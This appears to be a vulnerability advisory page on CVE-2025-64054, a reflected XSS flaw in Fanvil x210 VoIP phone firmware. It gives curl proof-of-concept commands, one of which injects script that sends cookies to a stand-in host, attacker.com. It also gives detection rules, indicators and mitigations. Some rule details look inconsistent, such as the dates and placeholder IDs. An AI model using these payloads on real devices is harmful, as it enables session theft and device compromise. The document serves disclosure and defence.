CVE-2025-64054
Executive Summary
CVE-2025-64054 is a reflected Cross-Site Scripting (XSS) vulnerability affecting Fanvil x210 devices running firmware version 2.12.20. The flaw resides in the /cgi-bin/webconfig?page=upload&action=submit endpoint, where a crafted POST request can inject arbitrary JavaScript into the response. This allows an unauthenticated attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, credential theft, or further compromise of the device's administrative interface. The vulnerability is currently unpatched, and no official fix has been released by Fanvil.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
The vulnerability is rated Medium due to the requirement for user interaction (e.g., clicking a crafted link) and the limited impact on confidentiality, integrity, and availability. However, in the context of a VoIP device, successful exploitation could allow an attacker to intercept calls, modify settings, or pivot to internal networks.
Deep Dive & Mechanics
The Fanvil x210 is a SIP-based VoIP phone used in enterprise environments. The web management interface listens on port 80/443 and provides configuration capabilities. The /cgi-bin/webconfig?page=upload&action=submit endpoint is intended for firmware or configuration file uploads. However, it fails to properly sanitize user-supplied input in the POST body, reflecting it directly into the HTML response without encoding.
An attacker can craft a POST request containing malicious JavaScript in a parameter (e.g., filename or file). When the server processes the request, it echoes the payload back in the response, which the browser then executes. This is a classic reflected XSS.
The vulnerability is particularly dangerous because:
- The device is often deployed on internal networks with access to sensitive voice traffic.
- The web interface may be exposed to the internet if not properly firewalled.
- No authentication is required to trigger the XSS, though user interaction is needed.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be in the CGI script handling the upload endpoint. A typical vulnerable pattern would be:
// Vulnerable pseudocode
char *input = get_post_param("filename");
printf("<html><body>Uploading file: %s</body></html>", input);
A patched version would sanitize the output:
// Patched pseudocode
char *input = get_post_param("filename");
char *escaped = html_escape(input);
printf("<html><body>Uploading file: %s</body></html>", escaped);
Without official patch details, users must rely on workarounds such as input validation at the network level or disabling the web interface.
Exploitation & Lab Setup
Red Team
Proof of Concept (PoC):
The following curl command demonstrates the XSS vulnerability:
curl -X POST "http://<target_ip>/cgi-bin/webconfig?page=upload&action=submit" \
-d "filename=<script>alert('XSS')</script>"
A more sophisticated payload could steal session cookies:
curl -X POST "http://<target_ip>/cgi-bin/webconfig?page=upload&action=submit" \
-d "filename=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>"
Lab Setup:
- Obtain a Fanvil x210 device with firmware 2.12.20.
- Connect it to an isolated network.
- Use a web browser or curl to send the malicious POST request.
- Observe the JavaScript execution in the browser.
Blue Team
Detection:
- Monitor HTTP POST requests to
/cgi-bin/webconfig?page=upload&action=submitcontaining<script>tags or other HTML/JavaScript patterns. - Use a Web Application Firewall (WAF) to block requests with suspicious payloads.
- Enable logging on the device and review access logs for unusual parameters.
Mitigation:
- Restrict access to the web interface to trusted IP addresses only.
- Disable the web interface if not required.
- Apply input validation and output encoding at the network level (e.g., reverse proxy).
Indicators of Compromise (IOCs)
- Network:
- HTTP POST requests to
/cgi-bin/webconfig?page=upload&action=submitwith parameters containing<script>,onerror,onload, or similar XSS vectors. - Outbound connections from the device to unknown IP addresses on ports 80/443 (potential data exfiltration).
- HTTP POST requests to
- Host:
- Unusual entries in the device's web access logs showing encoded JavaScript.
- Modified configuration files or unexpected firmware uploads.
- File:
- Temporary files in the device's upload directory containing malicious scripts.
Detection Engineering
YARA Rule
rule CVE_2025_64054_XSS {
meta:
description = "Detects reflected XSS attempts against Fanvil x210 devices"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-64054"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$xss_event = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
$endpoint = "/cgi-bin/webconfig?page=upload&action=submit"
condition:
$endpoint and ($xss_payload or $xss_event)
}
Sigma Rule
title: Reflected XSS Attempt on Fanvil x210
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests to the vulnerable endpoint with XSS payloads
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-64054
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/cgi-bin/webconfig?page=upload&action=submit'
cs-uri-query|contains:
- '<script'
- 'onerror'
- 'onload'
condition: selection
falsepositives:
- Legitimate file uploads with filenames containing similar patterns (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-64054 Reflected XSS on Fanvil x210";
flow:to_server,established;
content:"POST";
http_method;
content:"/cgi-bin/webconfig?page=upload&action=submit";
http_uri;
content:"<script";
http_client_body;
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Restrict Network Access: Use firewall rules to limit access to the web interface to only trusted administrative IP addresses.
- Disable Web Interface: If not required, disable the web management interface via the device's physical console or SSH.
- Input Validation: Implement a reverse proxy (e.g., Nginx, Apache) that sanitizes POST parameters before forwarding to the device.
Long-Term Fix:
- Contact Fanvil for an official firmware update. If none is available, consider replacing the device with a patched alternative.
- Monitor vendor advisories for patch releases.
Workaround:
- Use a Web Application Firewall (WAF) with rules to block XSS payloads targeting the vulnerable endpoint.
Valters IT